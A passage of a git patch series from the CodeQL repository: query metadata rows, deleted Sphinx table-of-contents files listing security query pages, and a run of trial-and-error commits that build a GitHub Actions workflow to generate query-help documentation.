external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-extended,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-extended,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-extended,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-extended,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-extended,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-extended,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-extended,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 diff --git a/docs/language/query-help/toc-cpp.rst b/docs/language/query-help/toc-cpp.rst deleted file mode 100644 index 3408acca222..00000000000 --- a/docs/language/query-help/toc-cpp.rst +++ /dev/null @@ -1,59 +0,0 @@ -.. toctree:: - :titlesonly: - - cpp/OffsetUseBeforeRangeCheck - cpp/AuthenticationBypass - cpp/BadAdditionOverflowCheck - cpp/BadlyBoundedWrite - cpp/CgiXss - cpp/AllocaInLoop - cpp/TooFewArguments - cpp/HResultBooleanConversion - cpp/WcharCharConversion - cpp/CleartextSqliteDatabase - cpp/CleartextBufferWrite - cpp/CleartextFileWrite - cpp/ComparisonWithWiderType - cpp/DangerousUseOfCin - cpp/DoNotCreateWorldWritable - cpp/IncorrectNotOperatorUsage - cpp/NewFreeMismatch - cpp/IntMultToLong - cpp/UnsafeCreateProcessCall - cpp/NoSpaceForZeroTerminator - cpp/NonConstantFormat - cpp/SizeCheck2 - cpp/SizeCheck - cpp/TaintedAllocationSize - cpp/PointerOverflow - cpp/StrncpyFlippedArgs - cpp/SnprintfOverflow - cpp/OverrunWrite - cpp/OverrunWriteFloat - cpp/UninitializedLocal - cpp/SuspiciousCallToStrncat - cpp/UnsafeUseOfStrcat - cpp/UnsafeDaclSecurityDescriptor - cpp/SignedOverflowCheck - cpp/OverflowStatic - cpp/SuspiciousSizeof - cpp/SuspiciousAddWithSizeof - cpp/IncorrectPointerScaling - cpp/IncorrectPointerScalingVoid - cpp/TOCTOUFilesystemRace - cpp/WrongNumberOfFormatArguments - cpp/UnboundedWrite - cpp/SqlTainted - cpp/ArithmeticUncontrolled - cpp/TaintedPath - cpp/UncontrolledFormatString - cpp/UncontrolledFormatStringThroughGlobalVar - cpp/UncontrolledProcessOperation - cpp/UnterminatedVarargsCall - cpp/TaintedCondition - cpp/CastArrayPointerArithmetic - cpp/BrokenCryptoAlgorithm - cpp/OpenSslHeartbleed - cpp/DangerousFunctionOverflow - cpp/PotentiallyDangerousFunction - cpp/WrongTypeFormatArguments \ No newline at end of file diff --git a/docs/language/query-help/toc-csharp.rst b/docs/language/query-help/toc-csharp.rst deleted file mode 100644 index 3f8be066531..00000000000 --- a/docs/language/query-help/toc-csharp.rst +++ /dev/null @@ -1,61 +0,0 @@ -.. toctree:: - :titlesonly: - - csharp/RequireSSL - csharp/ASPNetDirectoryListing - csharp/ZipSlip - csharp/AssemblyPathInjection - csharp/CleartextStorage - csharp/CookieWithOverlyBroadDomain - csharp/CookieWithOverlyBroadPath - csharp/PersistentCookie - csharp/ASPNetDebug - csharp/XSS - csharp/ReDoS - csharp/UnsafeDeserializationUntrustedInput - csharp/DeserializedDelegate - csharp/EmptyPasswordInConfigurationFile - csharp/Encryption using ECB - csharp/ExposureOfPrivateInformation - csharp/AbandonSession - csharp/HardcodedConnectionString - csharp/HardcodedCredentials - csharp/HeaderCheckingDisabled - csharp/CodeInjection - csharp/ExceptionInformationExposure - csharp/ExposureInTransmittedData - csharp/InsecureSQLConnection - csharp/InsecureRandomness - csharp/StoredLDAPInjection - csharp/LDAPInjection - csharp/LogForging - csharp/MissingXFrameOptions - csharp/MissingXMLValidation - csharp/MissingAntiForgeryTokenValidation - csharp/MissingASPNETGlobalErrorHandler - csharp/PasswordInConfigurationFile - csharp/RegexInjection - csharp/ResourceInjection - csharp/SecondOrderSqlInjection - csharp/SqlInjection - csharp/RuntimeChecksBypass - csharp/StoredXPathInjection - csharp/StoredXSS - csharp/ThreadUnsafeICryptoTransformLambda - csharp/ThreadUnsafeICryptoTransform - csharp/UrlRedirect - csharp/CommandInjection - csharp/StoredCommandInjection - csharp/TaintedPath - csharp/UncontrolledFormatString - csharp/UntrustedDataInsecureXml - csharp/LocalUnvalidatedArithmetic - csharp/UseOfFileUpload - csharp/ConditionalBypass - csharp/ValueShadowing - csharp/ValueShadowingServerVariable - csharp/WeakEncryption - csharp/InsufficientKeySize - csharp/InadequateRSAPadding - csharp/XMLInjection - csharp/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-go.rst b/docs/language/query-help/toc-go.rst deleted file mode 100644 index 3e535c41926..00000000000 --- a/docs/language/query-help/toc-go.rst +++ /dev/null @@ -1,25 +0,0 @@ -.. toctree:: - :titlesonly: - - go/ZipSlip - go/BadRedirectCheck - go/CleartextLogging - go/CommandInjection - go/SqlInjection - go/DisabledCertificateCheck - go/EmailInjection - go/HardcodedCredentials - go/IncompleteUrlSchemeCheck - go/IncompleteHostnameRegexp - go/IncorrectIntegerConversion - go/InsecureTLS - go/MissingRegexpAnchor - go/OpenUrlRedirect - go/StringBreak - go/ReflectedXss - go/AllocationSizeOverflow - go/RequestForgery - go/TaintedPath - go/ConstantOauth2State - go/InsecureHostKeyCallback - go/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-java.rst b/docs/language/query-help/toc-java.rst deleted file mode 100644 index f90aee9bc4a..00000000000 --- a/docs/language/query-help/toc-java.rst +++ /dev/null @@ -1,44 +0,0 @@ -.. toctree:: - :titlesonly: - - java/ZipSlip - java/ExecUnescaped - java/CleartextStorageCookie - java/CleartextStorageProperties - java/ComparisonWithWiderType - java/XSS - java/UnsafeDeserialization - java/NettyResponseSplitting - java/SpringCSRFProtection - java/ExecRelative - java/InsecureDependencyResolution - java/InsecureCookie - java/ResponseSplitting - java/HardcodedCredentialsApiCall - java/InformationLoss - java/ImproperValidationOfArrayIndex - java/ImproperValidationOfArrayConstruction - java/StackTraceExposure - java/LdapInjection - java/InfiniteLoop - java/SqlTainted - java/SqlUnescaped - java/SocketAuthRace - java/ReadingFromWorldWritableFile - java/XXE - java/IntMultToLong - java/TOCTOURace - java/UrlRedirect - java/ExecTainted - java/ArithmeticUncontrolled - java/TaintedPath - java/UnreleasedLock - java/BrokenCryptoAlgorithm - java/MaybeBrokenCryptoAlgorithm - java/PotentiallyDangerousFunction - java/PredictableSeed - java/ExternallyControlledFormatString - java/ConditionalBypass - java/ArithmeticTainted - java/NumericCastTainted - java/TaintedPermissionsCheck \ No newline at end of file diff --git a/docs/language/query-help/toc-javascript.rst b/docs/language/query-help/toc-javascript.rst deleted file mode 100644 index 2ae1d3f08df..00000000000 --- a/docs/language/query-help/toc-javascript.rst +++ /dev/null @@ -1,76 +0,0 @@ -.. toctree:: - :titlesonly: - - javascript/ZipSlip - javascript/CorsMisconfigurationForCredentials - javascript/CleartextStorage - javascript/CleartextLogging - javascript/ClientSideUrlRedirect - javascript/Xss - javascript/CodeInjection - javascript/BadRandomness - javascript/PostMessageStar - javascript/XssThroughDom - javascript/SqlInjection - javascript/UnsafeDeserialization - javascript/DisablingWebSecurity - javascript/DisablingSce - javascript/DisablingCertificateValidation - javascript/DoubleEscaping - javascript/InsecureDownload - javascript/AllowRunningInsecureContent - javascript/ExceptionXss - javascript/PrivateFileExposure - javascript/FileAccessToHttp - javascript/HardcodedCredentials - javascript/HardcodedDataInterpretedAsCode - javascript/HostHeaderPoisoningInEmailGeneration - javascript/ImproperCodeSanitization - javascript/IncompleteHtmlAttributeSanitization - javascript/IncompleteUrlSchemeCheck - javascript/IncompleteUrlSubstringSanitization - javascript/IncompleteMultiCharacterSanitization - javascript/IncompleteHostnameRegExp - javascript/IncompleteSanitization - javascript/IncorrectSuffixCheck - javascript/IndirectCommandInjection - javascript/ReDoS - javascript/StackTraceExposure - javascript/InsecureUrlWhitelist - javascript/InsecureRandomness - javascript/LoopBoundInjection - javascript/MissingCsrfMiddleware - javascript/MissingRateLimiting - javascript/MissingRegExpAnchor - javascript/HttpToFileAccess - javascript/PasswordInConfigurationFile - javascript/PolynomialReDoS - javascript/TargetBlank - javascript/PrototypePollution - javascript/PrototypePollutionUtility - javascript/ReflectedXss - javascript/RegExpInjection - javascript/RemotePropertyInjection - javascript/IdentityReplacement - javascript/ServerSideUrlRedirect - javascript/ShellCommandInjectionFromEnvironment - javascript/BuildArtifactLeak - javascript/StoredXss - javascript/TypeConfusionThroughParameterTampering - javascript/CommandInjection - javascript/RequestForgery - javascript/TaintedPath - javascript/UselessUseOfCat - javascript/UnsafeDynamicMethodAccess - javascript/UnsafeHtmlExpansion - javascript/UnsafeJQueryPlugin - javascript/UnsafeShellCommandConstruction - javascript/UnvalidatedDynamicMethodCall - javascript/BrokenCryptoAlgorithm - javascript/TaintedFormatString - javascript/InsufficientPasswordHash - javascript/UselessRegExpCharacterEscape - javascript/ConditionalBypass - javascript/Xxe - javascript/XmlBomb - javascript/XpathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-python.rst b/docs/language/query-help/toc-python.rst deleted file mode 100644 index d664092c900..00000000000 --- a/docs/language/query-help/toc-python.rst +++ /dev/null @@ -1,29 +0,0 @@ -.. toctree:: - :titlesonly: - - python/UseofInput - python/MissingHostKeyValidation - python/TarSlip - python/BindToAllInterfaces - python/CleartextLogging - python/CleartextStorage - python/CodeInjection - python/InsecureDefaultProtocol - python/UnsafeDeserialization - python/FlaskDebug - python/HardcodedCredentials - python/IncompleteUrlSubstringSanitization - python/IncompleteHostnameRegExp - python/StackTraceExposure - python/InsecureTemporaryFile - python/Jinja2WithoutEscaping - python/WeakFilePermissions - python/ReflectedXss - python/RequestWithoutValidation - python/SqlInjection - python/UrlRedirect - python/CommandInjection - python/PathInjection - python/BrokenCryptoAlgorithm - python/InsecureProtocol - python/WeakCrypto \ No newline at end of file From 8504724dbb54d4061ca76950f157b3b2ea679650 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 26 Oct 2020 13:55:26 +0000 Subject: [PATCH 0021/1241] add generate-query-help workflow --- .../workflows/generate-query-help-docs.yml | 53 +++++++++++++++++++ docs/language/query-help-markdown.py | 6 +-- 2 files changed, 56 insertions(+), 3 deletions(-) create mode 100644 .github/workflows/generate-query-help-docs.yml diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml new file mode 100644 index 00000000000..dc44a921adb --- /dev/null +++ b/.github/workflows/generate-query-help-docs.yml @@ -0,0 +1,53 @@ +name: Generate CodeQL documentation using Sphinx + +on: + push: + branches: + - main + - 'rc/**' + - 'lgtm.com' + pull_request: + paths: + - 'docs/language/query-help/**' + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Clone github/codeql + uses: actions/checkout@v2 + with: + path: codeql + - name: Clone github/codeql-go + uses: actions/checkout@v2 + with: + repository: 'github/codeql-go' + path: codeql-go + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + - name: Download CodeQL CLI + uses: dsaltares/fetch-gh-release-asset@aa37ae5c44d3c9820bc12fe675e8670ecd93bd1c + with: + repo: "github/codeql-cli-binaries" + version: "latest" + file: "codeql-linux64.zip" + token: ${{ secrets.GITHUB_TOKEN }} + - name: Unzip CodeQL CLI + run: unzip -d codeql-cli codeql-linux64.zip + - name: Query help to markdown + run: | + PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "codeql/docs/language/query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . query-help-build" + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help + diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 6595f73733d..0a34ab7cf3b 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["go"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] @@ -96,7 +96,7 @@ except Exception as e: # # (and assumes the codeql-go repo is in a similar location) -# codeql_search_path = "./ql" or "./codeql-go" # will be extended further down +codeql_search_path = "./codeql:./codeql-go" # will be extended further down # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. @@ -105,7 +105,7 @@ try: # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo #git_toplevel_dir = git_toplevel_dir.stdout.strip() - #codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" + codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" codeql_search_path = git_toplevel_dir = git_toplevel_dir.stdout.strip() except: # git rev-parse --show-toplevel exited with non-zero exit code. We're not in a Git repo From 2d93b3a45af85cde7f2d55df76f318c55fcced28 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:35:02 +0000 Subject: [PATCH 0022/1241] test --- .github/workflows/generate-query-help-docs.yml | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index dc44a921adb..bd9e54691fd 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,13 +39,16 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Run Sphinx for query help - uses: ammaraskar/sphinx-action@master - with: - docs-folder: "codeql/docs/language/query-help/" - pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . query-help-build" - - name: Upload HTML artifacts + - name: Build site assets + working-directory: '${{ github.workspace }}' + run: ls -la + #- name: Run Sphinx for query help + # uses: ammaraskar/sphinx-action@master + # with: + # docs-folder: "codeql/docs/language/query-help/" + # pre-build-command: "python -m pip install --upgrade recommonmark" + # build-command: "sphinx-build -b html . query-help-build" + #- name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: name: query-help-html From c775a27a22f68edd50cbd98df4e6dc1d8df7fff3 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:37:04 +0000 Subject: [PATCH 0023/1241] test2 --- .github/workflows/generate-query-help-docs.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index bd9e54691fd..3267ec038a0 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -49,8 +49,8 @@ jobs: # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" #- name: Upload HTML artifacts - uses: actions/upload-artifact@v2 - with: - name: query-help-html - path: query-help + # uses: actions/upload-artifact@v2 + # with: + # name: query-help-html + # path: query-help From d25a0ef7e6f459b7973f4625e8223b2bc830589f Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:41:51 +0000 Subject: [PATCH 0024/1241] another test --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 3267ec038a0..8a698cdc99c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -40,7 +40,7 @@ jobs: run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - name: Build site assets - working-directory: '${{ github.workspace }}' + working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la #- name: Run Sphinx for query help # uses: ammaraskar/sphinx-action@master diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 0a34ab7cf3b..581049315a2 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -186,7 +186,7 @@ for lang in languages: index_file_dictionary[query_name_meta] = lang + "/" + query_name # Make paths for output of the form: query-help-markdown//.md - docs_dir = 'query-help' + docs_dir = 'codeql/docs/language/query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") From fe5979d92a980932b5367542e592be7b8d49687b Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:52:17 +0000 Subject: [PATCH 0025/1241] add working-directory --- .github/workflows/generate-query-help-docs.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 8a698cdc99c..c96f36d3979 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,6 +39,7 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + working-directory: 'codeql/docs/language/' - name: Build site assets working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la From fc848e553e8e72912fdb83b7508923d6ef55edc5 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:55:12 +0000 Subject: [PATCH 0026/1241] fix working directory --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index c96f36d3979..798f9a6404f 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py working-directory: 'codeql/docs/language/' - name: Build site assets working-directory: '${{ github.workspace }}/codeql/docs/language' diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 581049315a2..0a34ab7cf3b 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -186,7 +186,7 @@ for lang in languages: index_file_dictionary[query_name_meta] = lang + "/" + query_name # Make paths for output of the form: query-help-markdown//.md - docs_dir = 'codeql/docs/language/query-help' + docs_dir = 'query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") From 1a60f961e6e1d5ac0874b7234a654b78a5ec12a5 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:10:27 +0000 Subject: [PATCH 0027/1241] add set up step --- .../workflows/generate-query-help-docs.yml | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 798f9a6404f..b3bdd728277 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -36,11 +36,20 @@ jobs: token: ${{ secrets.GITHUB_TOKEN }} - name: Unzip CodeQL CLI run: unzip -d codeql-cli codeql-linux64.zip + - name: Set up query help docs folder + run: | + mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ + - name: Build site assets + working-directory: '${{ github.workspace }}/codeql/docs/language' + run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py - working-directory: 'codeql/docs/language/' - - name: Build site assets + - name: Copy sphinx files into query help folder + run: | + cp codeql/docs/language/query-help/conf.py query-help/conf.py; + cp codeql/docs/language/query-help/*.rst query-help/*.rst; + - name: Check workspace working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la #- name: Run Sphinx for query help @@ -49,9 +58,9 @@ jobs: # docs-folder: "codeql/docs/language/query-help/" # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" - #- name: Upload HTML artifacts - # uses: actions/upload-artifact@v2 - # with: - # name: query-help-html - # path: query-help + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help From bb1c0a184adf8464533c563f113d7fbfa2ef04a8 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:13:15 +0000 Subject: [PATCH 0028/1241] fix path --- .github/workflows/generate-query-help-docs.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index b3bdd728277..7bea0f8a35c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -40,11 +40,11 @@ jobs: run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ - name: Build site assets - working-directory: '${{ github.workspace }}/codeql/docs/language' + working-directory: '${{ github.workspace }}' run: ls -la - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - name: Copy sphinx files into query help folder run: | cp codeql/docs/language/query-help/conf.py query-help/conf.py; From e9b2d771c2293da5f4342e10f7ea346166c22102 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:19:30 +0000 Subject: [PATCH 0029/1241] add test steps --- .../workflows/generate-query-help-docs.yml | 22 ++++++++----------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 7bea0f8a35c..82fe44e5e77 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,18 +39,14 @@ jobs: - name: Set up query help docs folder run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ - - name: Build site assets - working-directory: '${{ github.workspace }}' + - name: Check docs folder prescript + working-directory: '${{ github.workspace }}/query-help' run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Copy sphinx files into query help folder - run: | - cp codeql/docs/language/query-help/conf.py query-help/conf.py; - cp codeql/docs/language/query-help/*.rst query-help/*.rst; - - name: Check workspace - working-directory: '${{ github.workspace }}/codeql/docs/language' + - name: Check docs folder postscript + working-directory: '${{ github.workspace }}/query-help' run: ls -la #- name: Run Sphinx for query help # uses: ammaraskar/sphinx-action@master @@ -58,9 +54,9 @@ jobs: # docs-folder: "codeql/docs/language/query-help/" # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" - - name: Upload HTML artifacts - uses: actions/upload-artifact@v2 - with: - name: query-help-html - path: query-help + #- name: Upload HTML artifacts + # uses: actions/upload-artifact@v2 + # with: + # name: query-help-html + # path: query-help From 2383960e0df436148efd41789c289e50e9465117 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:24:48 +0000 Subject: [PATCH 0030/1241] copy folder correctly --- .github/workflows/generate-query-help-docs.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 82fe44e5e77..ad846da9eca 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ + mkdir query-help ; cp -r codeql/docs/language/query-help/ . - name: Check docs folder prescript working-directory: '${{ github.workspace }}/query-help' run: ls -la From 27f52851ca2da7b6865db78289f686ac85dc3093 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:33:40 +0000 Subject: [PATCH 0031/1241] add sphinx step --- .../workflows/generate-query-help-docs.yml | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index ad846da9eca..42e1a0a7196 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,24 +39,21 @@ jobs: - name: Set up query help docs folder run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ . - - name: Check docs folder prescript - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . _build" - name: Check docs folder postscript - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - #- name: Run Sphinx for query help - # uses: ammaraskar/sphinx-action@master - # with: - # docs-folder: "codeql/docs/language/query-help/" - # pre-build-command: "python -m pip install --upgrade recommonmark" - # build-command: "sphinx-build -b html . query-help-build" + working-directory: '${{ github.workspace }}/query-help/_build' + run: ls -la #- name: Upload HTML artifacts # uses: actions/upload-artifact@v2 # with: # name: query-help-html - # path: query-help + # path: query-help/_build From 0fe0d067e91a0146f55e1b271ec1ecd7a05725fc Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:41:13 +0000 Subject: [PATCH 0032/1241] copy more sphinx files --- .github/workflows/generate-query-help-docs.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 42e1a0a7196..e4aeab8bd35 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - mkdir query-help ; cp -r codeql/docs/language/query-help/ . + cp -r codeql/docs/language/query-help/ . ; cp -r codeql/docs/language/global-sphinx-files/ . - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py From cb962a9ce02e1fd1b0affdb93cf2d5f494d539b7 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:49:30 +0000 Subject: [PATCH 0033/1241] tests --- .../workflows/generate-query-help-docs.yml | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index e4aeab8bd35..b1f64d6569c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -42,15 +42,18 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Run Sphinx for query help - uses: ammaraskar/sphinx-action@master - with: - docs-folder: "query-help/" - pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . _build" - - name: Check docs folder postscript - working-directory: '${{ github.workspace }}/query-help/_build' + # - name: Run Sphinx for query help + # uses: ammaraskar/sphinx-action@master + # with: + # docs-folder: "query-help/" + # pre-build-command: "python -m pip install --upgrade recommonmark" + # build-command: "sphinx-build -b html . _build" + - name: Check docs folder postscript 1 + working-directory: '${{ github.workspace }}/query-help' run: ls -la + # - name: Check docs folder postscript 2 + # working-directory: '${{ github.workspace }}/query-help/_build' + # run: ls -la #- name: Upload HTML artifacts # uses: actions/upload-artifact@v2 # with: From d70240c7867ff040810c8cc4c8324d87b1f69957 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:55:04 +0000 Subject: [PATCH 0034/1241] update conf.py for query help --- .../workflows/generate-query-help-docs.yml | 28 +++++++++---------- docs/language/query-help/conf.py | 10 +++---- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index b1f64d6569c..1dd37260cdd 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -42,21 +42,21 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - # - name: Run Sphinx for query help - # uses: ammaraskar/sphinx-action@master - # with: - # docs-folder: "query-help/" - # pre-build-command: "python -m pip install --upgrade recommonmark" - # build-command: "sphinx-build -b html . _build" + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . _build" - name: Check docs folder postscript 1 working-directory: '${{ 